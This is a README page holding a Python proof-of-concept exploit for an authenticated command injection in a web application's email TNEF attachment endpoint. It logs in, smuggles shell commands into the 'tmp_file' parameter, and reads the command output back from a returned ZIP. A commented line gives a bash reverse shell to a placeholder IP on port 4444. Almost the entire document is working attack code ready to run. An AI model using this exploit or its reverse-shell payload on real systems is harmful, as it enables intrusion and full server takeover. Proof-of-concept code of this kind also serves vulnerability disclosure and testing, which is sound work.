README.md
Rendering markdown...
#!/usr/bin/env python3
import io
import os
import sys
import uuid
import zipfile
import requests
TARGET_URL = "http://localhost:9090"
USER_NAME = "user"
PASSWORD = "[PASSWORD]"
CMD = "id" # CMD = "bash -c 'bash -i >& /dev/tcp/XXXX.XXXX.XXXX.XXXX/4444 0>&1'" For reverse shell
def index_url(base_url: str) -> str:
if base_url.endswith(".php"):
return base_url
return base_url.rstrip("/") + "/index.php"
def login(session: requests.Session) -> str:
url = index_url(TARGET_URL) + "?r=core/auth/login"
headers = {"X-Requested-With": "XMLHttpRequest"}
data = {"username": USER_NAME, "password": PASSWORD}
print(f"[*] Target: {TARGET_URL}")
resp = session.post(url, data=data, headers=headers)
try:
body = resp.json()
except Exception:
print("[!] Login response is not JSON")
print(f" Status: {resp.status_code}")
print(f" Body (first 200 chars): {resp.text[:200]}")
sys.exit(1)
print(f"[*] Login status: {resp.status_code}")
if not body.get("success"):
print("[!] Login failed")
print(f" Response: {body}")
sys.exit(1)
token = body.get("security_token")
if not token:
print("[!] Missing security_token in login response")
print(f" Response: {body}")
sys.exit(1)
print("[*] Login ok, security_token received")
return token
def exploit(session: requests.Session, security_token: str) -> None:
url = index_url(TARGET_URL) + "?r=email/message/tnefAttachmentFromTempFile"
marker = "RCE_POC_" + uuid.uuid4().hex[:8]
payload = f"dummy.dat;{CMD} > /tmp/id;{CMD} > rce.txt;echo {marker} >> rce.txt;#"
params = {"tmp_file": payload, "security_token": security_token}
print(f"[*] Exploit URL: {url}")
print(f"[*] tmp_file payload: {payload}")
resp = session.get(url, params=params)
if resp.status_code != 200:
print(f"[!] Unexpected HTTP status: {resp.status_code}")
print(f"[*] Response status: {resp.status_code}")
try:
zf = zipfile.ZipFile(io.BytesIO(resp.content))
except zipfile.BadZipFile:
print("[!] Response is not a ZIP file")
print(f" Body (first 200 chars): {resp.text[:200]}")
return
if "rce.txt" not in zf.namelist():
print("[!] ZIP received but rce.txt not found")
print(f" Files: {zf.namelist()}")
return
data = zf.read("rce.txt").decode(errors="replace").strip()
if marker in data:
print(f"[+] RCE Confirmed")
output = data.replace(marker, "").strip()
print(f"[+] Command output ({CMD}):")
print(output)
else:
print("[!] rce.txt found but marker missing")
print(f" rce.txt content: {data}")
def main() -> None:
session = requests.Session()
token = login(session)
exploit(session, token)
if __name__ == "__main__":
main()